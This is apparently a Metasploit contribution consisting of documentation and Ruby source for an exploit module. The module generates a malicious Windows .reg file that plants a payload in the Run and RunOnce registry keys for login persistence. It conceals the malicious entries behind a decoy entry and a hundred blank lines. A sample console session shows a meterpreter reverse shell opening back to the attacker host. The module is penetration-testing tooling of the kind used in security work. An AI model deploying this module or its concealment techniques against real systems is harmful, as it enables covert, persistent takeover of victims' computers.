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Add Malicious Windows Registration Entries (.reg) File module
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‎documentation/modules/exploit/windows/fileformat/windows_registration_entries.md

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## Vulnerable Application
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This module creates a Windows Registration Entries (.reg) file which
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adds the specified payload to the Windows Registry. The payload runs
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upon Windows login for the current user. If the user has elevated
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privileges when opening the file, the payload will run upon login
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when any user logs in.
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The user will receive a warning prompt to confirm Registry changes
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when opening the file.
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This module has been tested successfully on:
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* Microsoft Windows 7 Professional SP1 (x86_64)
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* Microsoft Windows 11 Professional 21H2 (x86_64)
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## Options
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### FILENAME
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The registration entries file name. (Default: `msf.reg`).
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## Advanced Options
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### AddToCurrentUserWindowsCurrentVersionRun
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Add payload to login for current user. (Default: `true`)
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### AddToCurrentUserWindowsCurrentVersionRunOnce
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Same as AddToCurrentUserWindowsCurrentVersionRun, but the registry key is deleted after use. (Default: `false`)
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### AddToLocalMachineWindowsCurrentVersionRun
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Add payload to login for all users. The user will see a vague error message if they do not have the necessary permissions,
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but all other entries are still added successfully. (Default: `true`)
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### AddToLocalMachineWindowsCurrentVersionRunOnce
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Same as AddToLocalMachineWindowsCurrentVersionRun, but the registry key is deleted after use.' (Default: `false`)
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### PrependBenignEntry
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Prepend a benign registry entry at the start of the file. (Default: `true`),
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### PrependNewLines
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Prepend new lines before the first malicious registry entry. (Default: `100`)
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## Verification Steps
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On the Metasploit host:
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1. Start msfconsole
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1. Do: `use exploit/windows/fileformat/windows_registration_entries`
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1. Do: `set filename [filename.reg]`
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1. Do: `set payload [payload]`
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1. Do: `set lhost [lhost]`
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1. Do: `set lport [lport]`
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1. Do: `run`
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1. Do: `handler -p [payload] -P [lport] -H [lhost]`
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On the target Windows machine:
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1. Ensure Windows Security is disabled
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1. Open the `msf.reg` file and click `Yes` for the "Are you sure you want to continue?" prompt
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1. Log out then login as the same user
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## Scenarios
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### Microsoft Windows 11 Professional 21H2 (x86_64)
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```
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msf6 > use exploit/windows/fileformat/windows_registration_entries
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[*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp
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msf6 exploit(windows/fileformat/windows_registration_entries) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
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payload => cmd/windows/http/x64/meterpreter/reverse_tcp
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msf6 exploit(windows/fileformat/windows_registration_entries) > set lhost 192.168.200.130
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lhost => 192.168.200.130
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msf6 exploit(windows/fileformat/windows_registration_entries) > set lport 4444
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lport => 4444
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msf6 exploit(windows/fileformat/windows_registration_entries) > run
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[+] msf.reg stored at /root/.msf4/local/msf.reg
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[*] This file will create the following registry keys:
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HKEY_CURRENT_USER\Software\JpWpgNXlLXXrQv\Kz8Qi33Zow
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HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\2iL9aN40YYLwgDl
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HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\rhFG8l9yvhQ
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msf6 exploit(windows/fileformat/windows_registration_entries) > handler -p cmd/windows/http/x64/meterpreter/reverse_tcp -P 4444 -H 192.168.200.130
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[*] Payload handler running as background job 0.
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msf6 exploit(windows/fileformat/windows_registration_entries) >
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[*] Started reverse TCP handler on 192.168.200.130:4444
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msf6 exploit(windows/fileformat/windows_registration_entries) >
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[*] Sending stage (203846 bytes) to 192.168.200.169
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[*] Meterpreter session 1 opened (192.168.200.130:4444 -> 192.168.200.169:59250) at 2025-07-13 08:42:07 -0400
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msf6 exploit(windows/fileformat/windows_registration_entries) > sessions -i -1
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[*] Starting interaction with 1...
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meterpreter > getuid
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Server username: win-11-pro-x64\asdf
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meterpreter > sysinfo
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Computer : WIN-11-PRO-X64
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OS : Windows 11 21H2 (10.0 Build 22000).
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Architecture : x64
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System Language : en_GB
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Domain : WORKGROUP
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Logged On Users : 5
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Meterpreter : x64/windows
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```

‎modules/exploits/windows/fileformat/windows_registration_entries.rb

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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Malicious Windows Registration Entries (.reg) File',
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'Description' => %q{
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This module creates a Windows Registration Entries (.reg) file which
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adds the specified payload to the Windows Registry. The payload runs
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upon Windows login for the current user. If the user has elevated
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privileges when opening the file, the payload will run upon login
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when any user logs in.
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The user will receive a warning prompt to confirm Registry changes
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when opening the file.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'bcoles'
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],
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'References' => [
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['URL', 'https://support.microsoft.com/en-us/topic/how-to-add-modify-or-delete-registry-subkeys-and-values-by-using-a-reg-file-9c7f37cf-a5e9-e1cd-c4fa-2a26218a1a23'],
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['URL', 'https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys'],
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['URL', 'https://learn.microsoft.com/en-us/windows-hardware/drivers/install/runonce-registry-key'],
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['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
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['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
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],
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'Arch' => [ARCH_CMD],
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'Platform' => 'win',
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'Payload' => {
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'Space' => 244, # 255 minus "cmd.exe /c " prefix length
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'BadChars' => "\x00",
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'DisableNops' => true
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},
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'Targets' => [
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[
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'Microsoft Windows 2000 or newer',
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{
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'RegistryEditorVersion' => '5.00'
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => '1995-08-24',
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'DefaultTarget' => 0,
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'DefaultOptions' => {
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'DisablePayloadHandler' => true
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},
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
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'SideEffects' => [SCREEN_EFFECTS]
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}
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)
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)
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register_options(
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[
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OptString.new('FILENAME', [true, 'The registration entries file name.', 'msf.reg']),
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]
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)
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register_advanced_options([
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OptBool.new('AddToCurrentUserWindowsCurrentVersionRun', [false, 'Add payload to login for current user.', true]),
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OptBool.new('AddToCurrentUserWindowsCurrentVersionRunOnce', [false, 'Same as AddToCurrentUserWindowsCurrentVersionRun, but the registry key is deleted after use.', false]),
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OptBool.new('AddToLocalMachineWindowsCurrentVersionRun', [false, 'Add payload to login for all users. The user will see a vague error message if they do not have the necessary permissions, but all other entries are still added successfully.', true]),
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OptBool.new('AddToLocalMachineWindowsCurrentVersionRunOnce', [false, 'Same as AddToLocalMachineWindowsCurrentVersionRun, but the registry key is deleted after use.', false]),
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OptBool.new('PrependBenignEntry', [false, 'Prepend a benign registry entry at the start of the file.', true]),
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OptInt.new('PrependNewLines', [false, 'Prepend new lines before the first malicious registry entry.', 100]),
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])
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end
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# Create a registry entry in Windows .reg file format
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def registry_entry(path, type, key, value)
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# https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-element-size-limits
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raise "Registry key '#{type}' length (#{key.length}) is too long (max 255)" if key.length > 255
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raise "Registry value '#{value}' length (#{value.length}) is too long (max 16,300)" if value.length > 16_300
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# https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-value-types
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raise "Unsupported key type '#{type}', excepted REG_SZ" unless type == 'REG_SZ'
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escaped_value = value.gsub('\\', '\\\\\\').gsub('"', '\\\"')
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reg_entry = "[#{path}]\r\n"
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reg_entry << "\"#{key}\"=\"#{escaped_value}\"\r\n"
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vprint_status("Created registry entry:\n#{reg_entry}")
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reg_entry
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end
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# Format commands for use with the appropriate interpreter
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def format_commands(command_string)
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# Strip preceding whitespace as this would prevent execution
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raw_cmd = command_string.to_s.gsub(/^\s*/, '')
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# If the payload contains " & " we presume it is a command string.
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#
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# TODO: Change this once Metasploit is able to inform a module that
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# the specified ARCH_CMD payload is a string of commands
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# (not a single command).
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if raw_cmd.include?(' & ')
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cmd = "cmd.exe /c #{raw_cmd}"
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else
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cmd = raw_cmd
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end
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raise "Command length (#{cmd.length}) is too long (max 255)" if cmd.length > 255
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cmd
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end
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def exploit
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# File structure:
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# File header string
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# Benign registry entry (optional)
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# Visual whitespace padding (optional)
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# HKCU entries
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# HKLM entries (optional)
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reg = "Windows Registry Editor Version #{target['RegistryEditorVersion']}\r\n"
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reg << "\r\n"
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reg_entries = []
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if datastore['PrependBenignEntry']
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path = "HKEY_CURRENT_USER\\Software\\#{rand_text_alphanumeric(10..16)}"
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key = rand_text_alphanumeric(10..16)
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reg << registry_entry(
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path,
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'REG_SZ',
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key,
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rand_text_alphanumeric(10..16)
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)
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reg_entries << path + '\\' + key
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end
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reg << "\r\n" * datastore['PrependNewLines']
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if datastore['AddToCurrentUserWindowsCurrentVersionRun']
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path = 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run'
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key = rand_text_alphanumeric(10..16)
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reg << registry_entry(
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path,
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'REG_SZ',
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key,
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format_commands(payload.encoded)
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)
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reg_entries << path + '\\' + key
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end
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if datastore['AddToCurrentUserWindowsCurrentVersionRunOnce']
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path = 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce'
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key = rand_text_alphanumeric(10..16)
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reg << registry_entry(
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path,
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'REG_SZ',
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key,
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format_commands(payload.encoded)
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)
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reg_entries << path + '\\' + key
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end
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if datastore['AddToLocalMachineWindowsCurrentVersionRun']
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path = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
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key = rand_text_alphanumeric(10..16)
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reg << registry_entry(
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path,
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'REG_SZ',
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key,
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format_commands(payload.encoded)
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)
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reg_entries << path + '\\' + key
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end
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if datastore['AddToLocalMachineWindowsCurrentVersionRunOnce']
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path = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce'
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key = rand_text_alphanumeric(10..16)
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reg << registry_entry(
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path,
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'REG_SZ',
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key,
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format_commands(payload.encoded)
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)
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reg_entries << path + '\\' + key
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end
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unless reg_entries
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fail_with(Failure::BadConfig, 'No registry entries were created! Check module advanced options.')
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end
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file_create(reg)
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print_status("This file will create the following registry keys:\n#{reg_entries.join("\n")}")
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rescue StandardError => e
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print_error(e.message)
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end
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end

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